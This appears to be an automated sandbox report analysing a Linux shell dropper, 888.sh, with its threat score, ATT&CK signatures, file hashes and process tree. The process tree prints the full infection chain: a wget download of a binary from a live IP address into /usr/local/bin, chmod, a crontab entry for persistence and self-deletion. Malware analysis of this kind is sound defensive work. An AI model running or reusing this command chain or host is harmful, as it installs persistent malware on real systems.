Overview

overview

7

Static

static

1

888.sh

ubuntu-18.04-amd64

7

888.sh

debian-9-armhf

7

888.sh

debian-9-mips

888.sh

debian-9-mipsel

Analysis

  • max time kernel
    27s
  • max time network
    29s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29/07/2026, 18:43

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General

  • Target
    888.sh
  • Size 1KB
  • Sample260729-xc4y1azdpc
  • SHA256 bfad48c674265fcc40a9cb6e410a702c609dc689fb71e7e34b721c0bdd49aefd
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Write file to user bin folder 1 IoCs
    persistence
  • Reads CPU attributes 1 TTPs 2 IoCs
    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/888.sh
    /tmp/888.sh
    1⤵
      PID:650
      • /usr/bin/pgrep
        pgrep -x crond
        2⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:655
      • /usr/sbin/crond
        /usr/sbin/crond
        2⤵
          PID:670
        • /usr/bin/dirname
          dirname /usr/local/bin/syscon
          2⤵
            PID:672
          • /bin/mkdir
            mkdir -p /usr/local/bin
            2⤵
              PID:674
            • /usr/bin/wget
              wget -q http://106.54.223.106/phpmyadmin/setup/lib/syscon -O /usr/local/bin/syscon
              2⤵
              • Write file to user bin folder
              PID:675
            • /bin/chmod
              chmod +x /usr/local/bin/syscon
              2⤵
              • File and Directory Permissions Modification
              PID:763
            • /usr/bin/crontab
              crontab -
              2⤵
              • Creates/modifies Cron job
              PID:765
            • /usr/bin/crontab
              crontab -l
              2⤵
                PID:766
              • /bin/grep
                grep -v syscon
                2⤵
                  PID:767
                • /usr/bin/pgrep
                  pgrep -x syscon
                  2⤵
                  • Reads CPU attributes
                  • Reads runtime system information
                  PID:769
                • /bin/rm
                  rm -f /tmp/888.sh
                  2⤵
                    PID:770

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

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                      Downloads

                      syscon
                      • Path /usr/local/bin/syscon
                      • Size 4.4MB
                      • SHA256 0ba4e432149c97026ed7a0eed01d46e86514dd2ad06525a98f9bd16f700177fc
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      tmp.ueQIX2
                      • Path /var/spool/cron/crontabs/tmp.ueQIX2
                      • Size 268B
                      • SHA256 f27c070bfa81395c42b2cb83c75af71d0ff2d8fcf5968ea814be447bb42addf9
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download